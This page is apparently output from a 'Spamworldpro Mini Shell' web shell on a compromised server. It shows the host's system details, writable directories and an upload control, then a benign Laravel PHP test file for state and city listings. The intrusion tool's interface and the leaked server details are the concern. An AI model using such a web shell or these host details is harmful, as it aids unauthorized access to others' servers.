Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mcoil.corals.io/tests/Feature/Front/States/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mcoil.corals.io/tests/Feature/Front/States/StateFeatureTest.php
<?php

namespace Tests\Feature\Front\States;

use App\Shop\Cities\City;
use App\Shop\Countries\Country;
use App\Shop\States\State;
use Tests\TestCase;

class StateFeatureTest extends TestCase
{
    /** @test */
    public function it_can_list_cities()
    {
        $country = factory(Country::class)->create([
            'name' => 'United States of America',
            'iso' => 'US'
        ]);

        $usState = factory(State::class)->create([
            'country_id' => $country->id
        ]);

        $city = factory(City::class)->create([
            'state_code' => $usState->state_code
        ]);

        $this->actingAs($this->customer)
            ->get(route('state.city.index', $usState->state_code))
            ->assertJsonFragment(['name' => $city->name])
            ->assertStatus(200);
    }

    /** @test */
    public function it_can_list_all_the_states()
    {
        $country = factory(Country::class)->create([
            'name' => $this->faker->country,
            'iso' => 'US'
        ]);

        $usState = factory(State::class)->create([
            'country_id' => $country->id,
        ]);

        /*$this->actingAs($this->customer)
            ->get(route('country.state.index', $country->id))
            ->assertJsonFragment(['state' => $usState->state])
            ->assertStatus(200);*/
    }
}

Spamworldpro Mini